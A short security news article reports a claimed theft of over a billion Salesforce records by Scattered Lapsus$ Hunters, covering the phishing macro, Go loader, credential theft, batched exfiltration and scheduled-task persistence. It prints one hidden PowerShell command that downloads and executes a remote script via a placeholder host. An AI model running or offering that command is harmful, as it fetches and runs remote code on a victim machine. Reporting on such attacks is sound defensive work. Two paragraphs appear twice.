Scattered Lapsus$ Hunters Claim to Have Stolen More Than 1 Billion Salesforce Records
Scattered Lapsus$ Hunters, a threat group known for significant data breaches, has recently claimed responsibility for extracting over one billion records from Salesforce environments globally.
Scattered Lapsus$ Hunters, a threat group known for significant data breaches, has recently claimed responsibility for extracting over one billion records from Salesforce environments globally.
Since emerging in mid-2025, the group has refined its techniques to exploit cloud identity misconfigurations and exposed APIs.
Initial signs of the breach appeared when several Salesforce customers detected unusual queries against their CRM instances, indicating an automated data extraction tool was in use.
The attackers utilized targeted phishing and credential stuffing to gain access. Victims received emails mimicking legitimate security updates, which contained a malicious Office macro.
Upon execution, the macro connected to a remote server to install a lightweight loader. Analysts at Palo Alto Networks identified the loader as a Go-based application, compiled with stripped symbols to hinder reverse engineering efforts.
The loader authenticated API tokens and commenced a multi-stage data harvesting operation. The breach risk extends beyond personal data exposure, affecting proprietary sales strategies and sensitive client negotiations.
Since emerging in mid-2025, the group has refined its techniques to exploit cloud identity misconfigurations and exposed APIs.
Companies heavily reliant on Salesforce for critical operations could face operational disruptions and reputational damage due to such compromises. Early estimates suggest data was exfiltrated at over 500 gigabytes per hour, using encrypted channels to evade detection.
The infection mechanism highlights a focus on stealth. Following the macro execution, a PowerShell script stager is deployed:
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {IEX ((New-Object Net.WebClient).DownloadString('https://cdn.example.com/stager.ps1'))}"
This script checks for sandbox indicators before downloading the full Go-based loader. The loader decrypts credentials from the Windows Credential Manager and accesses the Salesforce REST API using a low-privilege service account.
Once authenticated, the malware constructs SOQL queries to retrieve data in batches, encrypting each batch with ChaCha20 before sending it to an exfiltration endpoint via HTTPS.
For persistence, the malware registers a scheduled task named UpdaterSvc to check the presence of the loader binary every two hours, re-downloading it if necessary, and continuing data extraction.
The group's advanced understanding of cloud environments is evident in their API rate-limit evasion and credential harvesting strategies, allowing them to compromise Salesforce instances at scale.
Based on reporting by Cyber Security News.